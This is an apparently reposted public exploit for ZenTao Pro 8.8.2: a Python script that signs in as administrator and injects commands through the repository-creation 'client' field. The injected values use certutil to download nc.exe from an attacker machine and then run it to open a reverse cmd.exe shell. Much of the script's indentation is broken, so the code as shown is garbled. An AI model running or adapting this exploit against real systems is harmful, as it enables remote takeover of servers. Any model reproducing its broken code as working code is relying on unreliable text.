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Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020070014

Below is a copy:

ZenTao Pro 8.8.2 Command Injection
# Exploit Title: ZenTao Pro 8.8.2 - Command Injection
# Date: 2020-07-01
# Exploit Author: Daniel Monzn & Melvin Boers
# Vendor Homepage: https://www.zentao.pm/
# Version: 8.8.2
# Tested on: Windows 10 / WampServer
# Other versions like pro or enterprise edition could be affected aswell
# Netcat is needed to use this exploit


import requests
import hashlib
import urllib.parse


host = 'http://192.168.223.132'
username = 'admin'
password = '[email protected]#'
name = 'Test2'
command = 'certutil.exe+-urlcache+-f+-split+http%3A%2F%2F192.168.223.131%2Fnc.exe+C%3A%5Cbad.exe+%26%26'
command2 = 'C:\\bad.exe  192.168.223.131 9001 -e cmd.exe &&'
git_path = 'C%3A%5CProgramData'



x = requests.session() # Create a session, as needed because we need admin rights.



def sign_in(url, username, password):
    password = hashlib.md5(password.encode('utf-8')).hexdigest() # We need to md5 encode the password in order to sign in
    proxy = {'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080'} # Just for debugging phase
    credentials = {'account' : username, 'password' : password} # The credentials we need
    path = url + '/zentao/user-login.html' # URL + path
    x.post(path, data=credentials, proxies=proxy, verify=False) # Send the post request to sign in
    return '[*] We are signed in!'


def go_to_repo(url):
path = url + '/zentao/repo-browse.html'
x.get(path, verify=False)

print('[*] Getting to repo path')



def create_repo(url, name, command):
headers = {'Accept':'application/json, text/javascript, */*; q=0.01',
           'Accept-Encoding':'gzip, deflate',
           'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
           'X-Requested-With': 'XMLHttpRequest', 
           'Origin':'http://192.168.223.132',
           'Referer':'http://192.168.223.132/pro/repo-create.html', 
           'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0',
           'Accept-Language':'en-US,en;q=0.5'}

cookies = {'ajax_lastNext':'on',
           'windowWidth':'1846',
           'windowHeight':'790'}

path = url + '/zentao/repo-create.html'
parameters = 'SCM=Git&name=' + name + '&path=' + git_path + '&encoding=utf-8&client=' + command
x.post(path, data=parameters, headers=headers, cookies=cookies, verify=False)

print('[*] Creating the repo')


def get_shell(url, name, command):
headers = {'Accept':'application/json, text/javascript, */*; q=0.01',
           'Accept-Encoding':'gzip, deflate',
           'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
           'X-Requested-With': 'XMLHttpRequest', 
           'Origin':'http://192.168.223.132',
           'Referer':'http://192.168.223.132/pro/repo-create.html', 
           'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0',
           'Accept-Language':'en-US,en;q=0.5'}

cookies = {'ajax_lastNext':'on',
           'windowWidth':'1846',
           'windowHeight':'790'}

path = url + '/zentao/repo-create.html'
parameters = 'SCM=Git&name=' + name + '&path=' + git_path + '&encoding=utf-8&client=' + command2
x.post(path, data=parameters, headers=headers, cookies=cookies, verify=False)

print('[*] Check your netcat listener!')


def main():
switch = True

if switch:
            sign_in(host, username, password)
            if switch:
                go_to_repo(host)
                if switch:
                    create_repo(host, name, command)
                    if switch:
                    get_shell(host, name, command2)
                    switch = False


if __name__ == "__main__":
main()

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